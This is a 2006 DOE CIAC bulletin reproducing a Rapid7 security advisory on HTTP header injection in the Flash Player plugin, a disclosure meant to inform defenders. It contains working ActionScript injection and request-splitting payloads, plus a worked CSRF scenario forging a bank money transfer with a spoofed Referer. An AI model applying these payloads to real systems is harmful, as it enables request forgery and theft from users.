__________________________________________________________ The U.S. Department of Energy Computer Incident Advisory Capability ___ __ __ _ ___ / | /_\ / \___ __|__ / \ \___ __________________________________________________________ INFORMATION BULLETIN HTTP Header Injection Vulnerabilities in the Flash Player Plugin [Rapid7 Advisory R7-0026] October 19, 2006 18:00 GMT Number R-020 ______________________________________________________________________________ PROBLEM: Two HTTP Header Injection vulnerabilities have been discovered by Rapid7 in the Flash Player Plugin. PLATFORM: Affected System(s): KNOWN VULNERABLE: o Flash Player plugin 9.0.16 (for Windows) o Flash Player plugin 7.0.63 (for Linux) PROBABLY VULNERABLE: o Earlier 9.0.x and 7.0.x versions o 8.0.x versions KNOWN FIXED: o Flash Player plugin BETA version 9.0.18d60 (for Windows) DAMAGE: Allows attackers to perform arbitrary HTTP requests while controlling most of the HTTP headers. SOLUTION: Upgrade to the appropriate version. ______________________________________________________________________________ VULNERABILITY The risk is LOW. Allows attackers to perform arbitrary HTTP ASSESSMENT: requests while controlling most of the HTTP headers. ______________________________________________________________________________ LINKS: CIAC BULLETIN: http://www.ciac.org/ciac/bulletins/r-020.shtml ORIGINAL BULLETIN: Rapid7 Advisory R7-0026 http://download2.rapid7.com/r7-0026/ ______________________________________________________________________________ [***** Start Rapid7 Advisory R7-0026 *****] Rapid7, LLC Security Advisory Visit http://www.rapid7.com/ to download NeXpose, SC Magazine Winner of Best Vulnerability Management product. _______________________________________________________________________ Rapid7 Advisory R7-0026 HTTP Header Injection Vulnerabilities in the Flash Player Plugin Published: Oct 17, 2006 Revision: 1.0 http://www.rapid7.com/advisories/R7-0026.jsp 1. Affected System(s): KNOWN VULNERABLE: o Flash Player plugin 9.0.16 (for Windows) o Flash Player plugin 7.0.63 (for Linux) PROBABLY VULNERABLE: o Earlier 9.0.x and 7.0.x versions o 8.0.x versions KNOWN FIXED: o Flash Player plugin BETA version 9.0.18d60 (for Windows) 2. Summary Two HTTP Header Injection vulnerabilities have been discovered by Rapid7 in the Flash Player plugin. They allow attackers to perform arbitrary HTTP requests while controlling most of the HTTP headers. This can make it easier to perform CSRF attacks [2] in some cases. When the HTTP server implements Keep-Alive connections and when Firefox is used, these Flash vulnerabilities can even be used to perform totally arbitrary HTTP requests where every part is controlled by the attacker: HTTP method, URI, HTTP version, headers, and data. Such attacks make use of the HTTP Request Splitting method. 3. Vendor Status and Information Adobe Systems, Inc. http://www.adobe.com Sep 18, 2006 Adobe acknowledges reception of the vulnerability details. Sep 29, 2006 Adobe responds with proposed dates for a fix later this year. Oct 5, 2006 Adobe releases a fixed BETA version of Flash 9 for Windows (version 9.0.18d60, release files are named beta_100406). Oct 17, 2006 Advisory is published after expiration of the 30-day grace period granted to Adobe to fix and disclose the vulnerabilities. 4. Solution Used the fixed BETA version (9.0.18d60). Only allow trusted websites to use Flash. Disable or uninstall the Flash plugin. Use alternative Flash plugins (GplFlash, Gnash). 5. Detailed Analysis The vulnerabilities described hereafter have been successfully tested with the latest versions of Flash available for various platforms as of 2006/09/06, and with multiple combinations of browser/OS: o IE6 SP2 (aka IE6 SV1) for Windows, with Flash plugin 9.0.16 o Firefox 1.5.0.6 for Windows, with Flash plugin 9.0.16 o Firefox 1.5.0.6 for Linux, with Flash plugin 7.0.63 5.1. XML.addRequestHeader() Vulnerability Flash features a scripting language called ActionScript. ActionScript comes with a certain number of standard classes available to Flash developers. In particular, the send() method of the XML object can be used to send XML document trees to arbitrary URLs using, by default, a POST request. This, in itself, is not a vulnerability; the XML.send() method definitely complies with the Flash security model [4]. However another method defined in the XML class, addRequestHeader(), can be used to add arbitrary HTTP headers to the request performed by Flash. Its intended usage is: var req:XML=new XML('test'); req.addRequestHeader("X-My-Header", "42"); req.send("http://host/path"); When calling req.send("http://host/path"), such a POST request would be submitted to 'host' (common HTTP headers that do not matter to us in this example have been removed for brevity): POST /path HTTP/1.1 Host: host Referer: (referer) Content-type: application/x-www-form-urlencoded X-My-Header: 42 Content-Length: 4 test For security reasons, Flash 9 does not let developers use addRequestHeader() to set headers such as Host, Referer, or Content-Length. But there is a way to get around this security restriction: the addRequestHeader() method does not sufficiently sanity check its two arguments. This makes it possible to inject arbitrary headers: req.addRequestHeader("Referer:http://anywhere\r\nX-foo", "bar"); With IE, a request containing only the fake Referer is sent: POST /path HTTP/1.1 Host: host Referer: http://anywhere Content-Type: application/x-www-form-urlencoded X-foo: bar Content-Length: 4 test With Firefox, a request containing both the real Referer and the fake one is sent: POST /path HTTP/1.1 Host: host Referer: (real referer) Content-type: application/x-www-form-urlencoded Referer:http://anywhere X-foo: bar Content-Length: 4 test For this attack to work, the first argument of addRequestHeader() must not contain any space (ASCII 0x20) else the Flash plugin appears to ignore the addRequestHeader() call. This is absolutely not a problem in real-world attack scenarios, because the space character usually present before the Referer value is optional (see RFC 2616 [5], section "4.2 Message Headers"). It is interesting to note that IE seems to post-process the headers generated by Flash before sending them to the HTTP server. Indeed, IE diligently removes the real Referer to use the Flash-generated one, and it even automatically adds the optional space character before the fake Referer value. Of course any cookie that would be associated with 'host' would be automatically sent along with the request, which is another good thing for attackers. For total control of the generated request, when the server supports keep-alive connections and when Firefox is used, it is possible to use the HTTP Request Splitting method to insert another HTTP request: req.addRequestHeader("Content-Length:0\r\n\r\n" + "POST\t/anotherpath\tHTTP/1.1\r\n" + "Host:host\r\n" + "Referer:faked\r\n" + "User-Agent:faked\r\n" + "Content-Type:faked\r\n" + "Content-Length:3\r\n" + "\r\n" + "foo\n", "bar"); This generates what Firefox thinks is one request, while in fact the server interprets it as two separate requests because of the fake "Content-Length:0" header: POST /path HTTP/1.1 Host: host Keep-Alive: 300 Connection: keep-alive Referer: (real referer) Content-type: application/x-www-form-urlencoded Content-Length:0 POST /anotherpath HTTP/1.1 Host:host Referer:faked User-Agent:faked Content-Type:faked Content-Length:3 foo : bar Content-length: 4 test Tabs (ASCII 0x09) have to be used around the URI ("/anotherpath") instead of spaces (ASCII 0x20) else, as explained above, Flash ignores the addRequestHeader() call. But other than this minor inconvenient, pretty much any other character can be sent, absolutely nothing is URL-encoded, which gives plenty of freedom to attackers. The unwanted data after "foo" (": bar\r\nContent-length: 4\r\n\r\ntest") do not create any problem at all either. Because the attacker-controlled "Content-Length:3" header takes care of instructing the server to ignore any subsequent data. When trying to use this HTTP Request Splitting method with IE, it fails with a generic "The page cannot be displayed" error. This is probably due to the fact that when IE post-processes the headers (as explained previously), it messes up the manually built HTTP request and ends up with something that doesn't look like 2 valid requests at all. In particular, what seems to trigger this error is the CR LF CR LF sequence separating the headers from the body. This issue has not been investigated any more. More research is necessary to determine if exploiting IE this way is possible. It should be pointed out that this new Flash 9 XML.addRequestHeader() vulnerability is similar to other, previously reported vulnerabilities in Flash 7 & 8 affecting the LoadVars class, as explained in this Bugtraq posting from Amit Klein [1]. So, in a certain way, this new vulnerability re-opens a path of exploitation that was available to attackers in Flash 7 & 8. 5.2. XML.contentType Vulnerability The XML class defines the contentType attribute, which can be set by Flash developers, e.g.: req.contentType = "text/plain"; The exact same vulnerability than the one described in the previous section also exists for this attribute: Flash does not check the validity of its value before building the HTTP request. It is possible to exploit it in the same way that addRequestHeader() is used: req.contentType = "text/plain\r\nReferer: anything"; Contrary to addRequestHeader(), Flash allows spaces (ASCII 0x20) to be used in this string. 5.3 Consequence The consequence of these vulnerabilities is that attackers have a lot more control on the headers that get sent along with HTTP requests, compared to what is commonly thought possible. In particular the Host, Referer, and User-Agent headers can be spoofed. It is even possible to voluntarily generate malformed HTTP requests too, when the HTTP Request Splitting method is used. But when combined with other flaws, such as XSS or CSRF, these Flash vulnerabilities become a handy tool to exploit them. The next section describes a CSRF attack scenario. 6. Exploitation Example 6.1. Description of CSRF Attacks A Cross-Site Request Forgery (CSRF) is a form of attack where a malicious site A exploits the trust a site B has in a user by forging an HTTP request and sending it to site B, which sees it as coming from its trusted user. See [2] for a more detailled description of CSRF attacks. The Flash vulnerabilities presented above can help attackers forge such HTTP requests. Multiple approaches exist to prevent CSRF attacks, offering varying levels of protection. For example requiring POST requests instead of GET requests is a very poor way to protect against them. Other times, the protection chosen by web site developers is to check for the HTTP Referer. The assumption is that spoofing the Referer header is much harder, but not impossible. These Flash vulnerabilities are able to spoof it. A much better way to protect against CSRF attacks is to require the use of a security hash, as described in [3]. 6.2. Attack Scenario Let's say a malicious attacker is able to convince a user to visit his malicious website http://malicious. The intent of the attacker is to perform a CSRF attack against the user's bank website https://bank to silently transfer money from the user's account to the attacker's account. This attack assumes that (1) the bank uses SSL/TLS (HTTPS) combined with cookie-based authentication, (2) checks the Referer header to prevent CSRF attacks (hopefully no bank is doing this), and (3) that a money transfer order can be initiated via such an HTTP request: POST /xfer.cgi HTTP/1.1 Host: bank Referer: https://bank/index.html Cookie: ... Content-Type: application/x-www-form-urlencoded Content-Length: 63 from=VICTIMACCOUNT&to=ATTACKERACCOUNT&amount=1000&send=Transfer The attack also assumes the user is using Firefox, because we are going to use the CR LF CR LF sequence with addRequestHeader() to insert the HTTP body data (as explained in section 1.1 this sequence does not work with IE for an unknown reason). We have to insert the HTTP body using addRequestHeader() because this way the body doesn't get URL-encoded by Flash (it is URL-encoded when passed as a string to the XML() constructor). And we have to prevent URL-encoding in order to preserve the ampersands ("&") present in the body ("from=...&to=..."). So, in order to perform the attack, the attacker would have to place a Flash movie on http://malicious containing this ActionScript code: var req:XML=new XML('x'); req.addRequestHeader( "Referer:https://bank/index.html\r\n" + "Content-Length:63\r\n" + "\r\n" + "from=VICTIMACCOUNT&to=ATTACKERACCOUNT&amount=1000&send=Transfer\r\n", "y"); req.send("https://bank/xfer.cgi"); Then, when the user would visit http://malicious, assuming his browser still owns an unexpired cookie from the bank, this request would be sent via HTTPS (XML.send() allows an HTTP site to send data over HTTPS): POST /xfer.cgi HTTP/1.1 Host: bank Referer: http://malicious Cookie: (bank cookie) Content-type: application/x-www-form-urlencoded Referer:https://bank/index.html Content-Length:63 from=VICTIMACCOUNT&to=ATTACKERACCOUNT&amount=1000&send=Transfer : y Content-length: 1 x And the attack would succeed, despite SSL/TLS, despite the cookie auth, and despite the Referer check (if the application server takes into account the second Referer). If URL-encoding of the HTTP body is acceptable, then IE can be targetted by not using the CR LF CR LF sequence, then only one Referer would be present in the headers. 7. Credits This vulnerability was discovered by Marc Bevand of Rapid7. 8. Contact Information Rapid7, LLC Email: advisory@rapid7.com Web: http://www.rapid7.com Phone: +1 (310) 316-1235 9. Disclaimer and Copyright Rapid7, LLC is not responsible for the misuse of the information provided in our security advisories. These advisories are a service to the professional security community. There are NO WARRANTIES with regard to this information. Any application or distribution of this information constitutes acceptance AS IS, at the user's own risk. This information is subject to change without notice. This advisory Copyright (C) 2006 Rapid7, LLC. Permission is hereby granted to redistribute this advisory, providing that no changes are made and that the copyright notices and disclaimers remain intact. 10. Footnotes [1] http://www.securityfocus.com/archive/1/441014/30/0/threaded [2] http://en.wikipedia.org/wiki/Csrf [3] http://www.squarefree.com/securitytips/web-developers.html [4] The Flash security model allows SWF files to perform XML.send() requests to other domains, because this method can only be used to send requests (and not receive the associated responses, which could be sensitive/private data). This, plus the fact that Flash enforces other restrictions (such as preventing the overwriting of some HTTP headers), explains why the security model allows cross-domain XML.send() requests. [5] RFC 2616 - Hypertext Transfer Protocol -- HTTP/1.1 ftp://ftp.rfc-editor.org/in-notes/rfc2616.txt [***** End Rapid7 Advisory R7-0026 *****] _______________________________________________________________________________ CIAC wishes to acknowledge the contributions of Rapid7 for the information contained in this bulletin. _______________________________________________________________________________ CIAC, the Computer Incident Advisory Capability, is the computer security incident response team for the U.S. Department of Energy (DOE) and the emergency backup response team for the National Institutes of Health (NIH). CIAC is located at the Lawrence Livermore National Laboratory in Livermore, California. CIAC is also a founding member of FIRST, the Forum of Incident Response and Security Teams, a global organization established to foster cooperation and coordination among computer security teams worldwide. CIAC services are available to DOE, DOE contractors, and the NIH. CIAC can be contacted at: Voice: +1 925-422-8193 (7x24) FAX: +1 925-423-8002 STU-III: +1 925-423-2604 E-mail: ciac@ciac.org Previous CIAC notices, anti-virus software, and other information are available from the CIAC Computer Security Archive. World Wide Web: http://www.ciac.org/ Anonymous FTP: ftp.ciac.org PLEASE NOTE: Many users outside of the DOE, ESnet, and NIH computing communities receive CIAC bulletins. If you are not part of these communities, please contact your agency's response team to report incidents. Your agency's team will coordinate with CIAC. The Forum of Incident Response and Security Teams (FIRST) is a world-wide organization. A list of FIRST member organizations and their constituencies can be obtained via WWW at http://www.first.org/. This document was prepared as an account of work sponsored by an agency of the United States Government. Neither the United States Government nor the University of California nor any of their employees, makes any warranty, express or implied, or assumes any legal liability or responsibility for the accuracy, completeness, or usefulness of any information, apparatus, product, or process disclosed, or represents that its use would not infringe privately owned rights. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not necessarily constitute or imply its endorsement, recommendation or favoring by the United States Government or the University of California. The views and opinions of authors expressed herein do not necessarily state or reflect those of the United States Government or the University of California, and shall not be used for advertising or product endorsement purposes. LAST 10 CIAC BULLETINS ISSUED (Previous bulletins available from CIAC) R-010: Vulnerabilities in Microsoft Word R-011: Vulnerabilities in Microsoft XML Core Services R-012: Vulnerabilities in Microsoft Office R-013: Vulnerability in ASP.NET 2.0 R-014: Vulnerability in Windows Object Packager R-015: Patch available for ColdFusion MX 7 R-016: HP Version Control Agent R-017: TrendMicro OfficeScan R-018: Vulnerability in the Netscape Portable Runtime API R-019: kdelibs Security Update